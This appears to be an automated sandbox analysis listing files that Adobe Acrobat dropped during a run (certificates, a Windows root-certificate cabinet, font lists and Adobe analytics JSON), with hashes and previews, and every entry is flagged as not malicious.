Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7237529899615143
Encrypted:	false
SSDEEP:	3:kkFklIVttfllXlE/HT8kehl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKRneT8Jl7NMa8RdWBwRd
MD5:	2FDC5618EC3390A4A8BC134E78E486A9
SHA1:	DED78ABD3FC42159FBCD574849F14717C9BC993E
SHA-256:	21B36B1541AE11A3933E3B5C4F93A51BD6B00E3E87C6A776C7E90B76794BC827
SHA-512:	B96697FE6AC476DCF65D33F9F209B430BF3752417256CF909FB85F5444A899FA6D5F4B0E9FCF3F36E9096D9E5A25774BEF6D30D13302448CA71CB870EF8B02A3
Malicious:	false
Preview:	p...... ..........i..c..(....................................................... ..........W....k`..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKUL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:MiDImsLNkPlE99SNxAhUe/3
MD5:	C2F6AD45A0213585F11E35E4DB311E68
SHA1:	A59BB50498C5110183A32824EF7876A43777D8CC
SHA-256:	A5745E4D70E981344B5293C5C373954AF94FF55786A5D1E6C706BACAB93BC5CE
SHA-512:	C2301D44AC349FCF9271E4F428902FF61FC2FBC5356F23D65AC4A368628F140C4AB96DB8C9EB4DB881D275D29144475F5131AE49DED1E542804B1879E5C4C258
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352062155636299
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJM3g98kUwPeUkwRe9:YvXKX0obQ2Zc0v98GMbLUkee9
MD5:	4F6703E053FD7FF8A849AFB9CA04CAE3
SHA1:	D87F74AE9F443E20E11C216C837667CFD9C7304D
SHA-256:	87F10E3232E07C8DA995FFA064F80DECEA95DFCAAD4E2BB72339BAD95EF9F0C0
SHA-512:	4190E4D76693052D948DFC9F870E9C8BE5FE9B3B02B633560390B250B40072C0ECA7AFABC6C1E8165AB0DFC233808D4D1D3C11AE8134DAFB48664B181B4A9ECD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297663665532317
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfBoTfXpnrPeUkwRe9:YvXKX0obQ2Zc0v98GWTfXcUkee9
MD5:	D5F1A00527136172DDC2DAC8224CA54F
SHA1:	05B25FD6E6496CC2E253A6ED45F991432ED67591
SHA-256:	B9DB1E4F77402327FA64590DB9285A91BDB7848093EE750FC41D053916063582
SHA-512:	1D8670B94F7C95FF9F98986DBF10E2843B0C04F02C23CDBB0CCABF9DBC8C07CE5F7A5818862B8EE6C6707A05C6C1B7B921BC4983C6EB31AFFA0B1516FFEF59FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2774353072399816
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfBD2G6UpnrPeUkwRe9:YvXKX0obQ2Zc0v98GR22cUkee9
MD5:	FD801BD916CDC8B4C745D9BAB155B8A4
SHA1:	A90A9674C43B7C5F5983F92A03989084C36510DE
SHA-256:	4639C3B68590E1CA6C0E1C5A3A5F25B2ABBDAFAF06E57901AFEED9DC3271B273
SHA-512:	F9720FE3BF7E3D9E82FB49C22E4C9CB3DEA9CE135BCA599970590008B459AB53219D15FE4A12939FCF1EC2BD984B20E48F9B1513061FF86155571F619548759D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338676127421602
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfPmwrPeUkwRe9:YvXKX0obQ2Zc0v98GH56Ukee9
MD5:	E8F1A255F367D98BD4066068A6BF791B
SHA1:	DCB79C4B0D1EB61B18831327DA070523EF0543A2
SHA-256:	883FEFCD13F77303ED31485152EF9D4AFD24AE7DB6F90D26DC17D5D1DBFE88E8
SHA-512:	8FD9240C1BF96FED045FEB5CA2F0665047DDD17B3C0D33A4C16DCF6E375B6201AC1DC739026B6A94C3DF398BD8801D586EEB56C54D0EB488EB515DD687100D9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685201580447722
Encrypted:	false
SSDEEP:	24:Yv6XnJzv95pLgE9cQx8LennAvzBvkn0RCmK8czOCCSjYY:Yvmdl5hgy6SAFv5Ah8cv/kY
MD5:	16F0FDEF23EE911D7E96834E2D38A29A
SHA1:	F098B7259833CEDA4A80E80DA6550E4232D8B955
SHA-256:	29DEAEA570855E83182E9BDDFBC861328646D7292F13929FE8EB9F69EA685FAD
SHA-512:	A5691C1D422E18740865CE2D4A84E6B68E308B80D208CBFA0DC7FF23F581C24FB185962EBDA0A048D1464AE1EA3A758F52D290204BF08816CA9BEEDD2B4931DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285025240165206
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJf8dPeUkwRe9:YvXKX0obQ2Zc0v98GU8Ukee9
MD5:	C9F304DB6D3E9753415B00367811F565
SHA1:	1FA67A76D99C51F9AA4E41E70B2A33A2317FFEEC
SHA-256:	4487EA92E68A7DB767482E8FE8D16E3E74D6978349F4755490BA6E7B3A865687
SHA-512:	2F08D3DF489BC80B0B93D208880DBD6A5CD38CF9BF55E57176184C113E9151DBB54FA4079ADB4B34CDAD6C18124C7566FE6086DECAF67C2A538D6A8C8CF44F58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.287659176295257
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfQ1rPeUkwRe9:YvXKX0obQ2Zc0v98GY16Ukee9
MD5:	B1807E47AE941B6E44223D5C3235277F
SHA1:	039E282DE85E76E4F39282F19BD953C4E5F326D4
SHA-256:	73075C3F95EBF810CF320E7EFC7CCF2A80938FEE456BCC92802D986EF83995BA
SHA-512:	9439824C9D07C7AF1690FFA6A9DBA92D80EC651956F6C42FF1364ED3202616CF3E47EC1AF4A6E33824AFDB10EC7048AA943D25C780C28F08A53927455D81A306
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294833456178359
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfFldPeUkwRe9:YvXKX0obQ2Zc0v98Gz8Ukee9
MD5:	A306B6940DC2D63CD13691D9A32CA952
SHA1:	5FB437E38ADF4754F70D762889BF29D8D9527EAD
SHA-256:	A8E30760EC029706556A4A6EBD9A2BBAD4F425DA7A404FC568970128222A5C02
SHA-512:	617B694A504F761FBE0E5A914EC94414AD654B7651637D568909B5D9D6510D4BEDCE5CAE8E610E93696161F7349AE4BDFFF52A0BB3E11AFAC00E74E394D1C5B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310178809243721
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfzdPeUkwRe9:YvXKX0obQ2Zc0v98Gb8Ukee9
MD5:	D66237EDEDEEB8E8C370C9F531E481B0
SHA1:	7EA3822E4262C6FCCD605B6EB320AB752170660F
SHA-256:	B6FCF46076E507C74F995F4ECC2B169C5BF3C2BEC9D21182031374090ED69A09
SHA-512:	F906B1B5F43B1345209F224D1A37FCCC6D6832FD1B1E027AE6BB527A281C21375676C5A85EF52C09AF831D7081CCBECE5BEA6EC53FC8B00A80571F907C533099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290025840844803
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfYdPeUkwRe9:YvXKX0obQ2Zc0v98Gg8Ukee9
MD5:	03EFAF0E652F6AF5F17BFF82D39B4F3B
SHA1:	F1EE0E8AF85647C0834F4329201245967907D339
SHA-256:	ABE58CF2EFEDE58559D05712DC5E530539A777C3EAE65E20264FF8729197597E
